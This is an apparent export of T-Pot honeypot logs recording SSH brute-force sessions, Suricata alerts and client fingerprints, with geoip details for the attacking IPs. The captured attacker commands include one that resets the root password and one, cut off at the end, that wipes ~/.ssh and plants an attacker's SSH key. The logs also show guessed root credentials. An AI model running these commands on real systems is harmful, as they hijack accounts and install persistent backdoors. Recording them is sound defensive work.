"2021-09-20T11:53:54.656Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32944	189.50.42.214	109.199.241.180	Fatt	2021-09-20 14:53:54.545138+03	2021-09-20 15:00:04.118722+03	{"_id": "0QYOA3wBvYTbRNuEN0w0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57141, "dest_port": 22, "timestamp": "2021-09-20T11:53:54.545138", "@timestamp": "2021-09-20T11:53:54.545Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32945	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:57.67842+03	2021-09-20 15:00:04.119722+03	{"_id": "4QYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "189.50.42.214", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.47421693801879883, "duplicate": true, "timestamp": "2021-09-20T11:53:57.678420Z", "@timestamp": "2021-09-20T11:53:57.678Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32946	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:58.874541+03	2021-09-20 15:00:04.120722+03	{"_id": "8AYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:59866 (192.168.176.2:22) [session: d37f4c901d29]", "session": "d37f4c901d29", "@version": "1", "protocol": "ssh", "src_port": 59866, "dest_port": 22, "timestamp": "2021-09-20T11:53:58.874541Z", "@timestamp": "2021-09-20T11:53:58.874Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32947	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:58.875239+03	2021-09-20 15:00:04.121722+03	{"_id": "8QYOA3wBvYTbRNuERExh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "d37f4c901d29", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:58.875239Z", "@timestamp": "2021-09-20T11:53:58.875Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32948	91.231.219.157	109.199.241.180	Suricata	2021-09-20 14:53:58.979451+03	2021-09-20 15:00:04.122722+03	{"_id": "-AYOA3wBvYTbRNuERUzO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:53:58.741433+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "91.231.219.157", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 684254700130361, "payload": "AAADzAYUbBEWXd4TKyIiDav8JWCuDQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59866, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:53:58.979451Z", "@timestamp": "2021-09-20T11:53:58.979Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......l..]..+\\"\\"\\r..%`.\\r...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32949	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:53:58.979451+03	2021-09-20 15:00:04.124722+03	{"_id": "-wYOA3wBvYTbRNuERkzV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59866, "dest_port": 22, "timestamp": "2021-09-20T11:53:58.979451", "@timestamp": "2021-09-20T11:53:58.979Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32950	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:59.728449+03	2021-09-20 15:00:04.126722+03	{"_id": "CAYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 91.231.219.157:59934 (192.168.176.2:22) [session: f878bb8c6070]", "session": "f878bb8c6070", "@version": "1", "protocol": "ssh", "src_port": 59934, "dest_port": 22, "timestamp": "2021-09-20T11:53:59.728449Z", "@timestamp": "2021-09-20T11:53:59.728Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32951	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:59.718769+03	2021-09-20 15:00:04.127722+03	{"_id": "DgYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "echo \\"itaya\\\\nWssCTnkWNktg\\\\nWssCTnkWNktg\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: echo \\"itaya\\\\nWssCTnkWNktg\\\\nWssCTnkWNktg\\\\n\\"|passwd", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:53:59.718769Z", "@timestamp": "2021-09-20T11:53:59.718Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32952	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:59.729128+03	2021-09-20 15:00:04.128722+03	{"_id": "CgYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f878bb8c6070", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:53:59.729128Z", "@timestamp": "2021-09-20T11:53:59.729Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32953	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:53:59.997488+03	2021-09-20 15:00:04.130722+03	{"_id": "CwYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [root/vagina] failed", "session": "e4b171a13baf", "@version": "1", "password": "vagina", "username": "root", "timestamp": "2021-09-20T11:53:59.997488Z", "@timestamp": "2021-09-20T11:53:59.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32954	189.50.42.214	109.199.241.180	Suricata	2021-09-20 14:53:54.54425+03	2021-09-20 15:00:04.131721+03	{"_id": "zwYOA3wBvYTbRNuENkws", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "dest_ip": "192.168.20.116", "flow_id": 2190108888544887, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57141, "dest_port": 22, "timestamp": "2021-09-20T11:53:54.544250Z", "@timestamp": "2021-09-20T11:53:54.544Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32960	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:53:59.513547+03	2021-09-20 15:00:04.139761+03	{"_id": "DAYOA3wBvYTbRNuESE1K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.login.success", "message": "login attempt [root/toor@123] succeeded", "session": "d37f4c901d29", "@version": "1", "password": "toor@123", "username": "root", "timestamp": "2021-09-20T11:53:59.513547Z", "@timestamp": "2021-09-20T11:53:59.513Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32955	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:53:55.109826+03	2021-09-20 15:00:04.132724+03	{"_id": "0AYOA3wBvYTbRNuENkws", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14413, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 3039, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 1837919422883654, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 48689, "timestamp": "2021-09-20T11:53:55.109826Z", "@timestamp": "2021-09-20T11:53:55.109Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32956	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:55.161277+03	2021-09-20 15:00:04.134723+03	{"_id": "0gYOA3wBvYTbRNuEN0w0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35812, "dest_port": 443, "timestamp": "2021-09-20T11:53:55.161277", "@timestamp": "2021-09-20T11:53:55.161Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32957	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:53:57.204837+03	2021-09-20 15:00:04.135722+03	{"_id": "3wYOA3wBvYTbRNuEQEx4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa 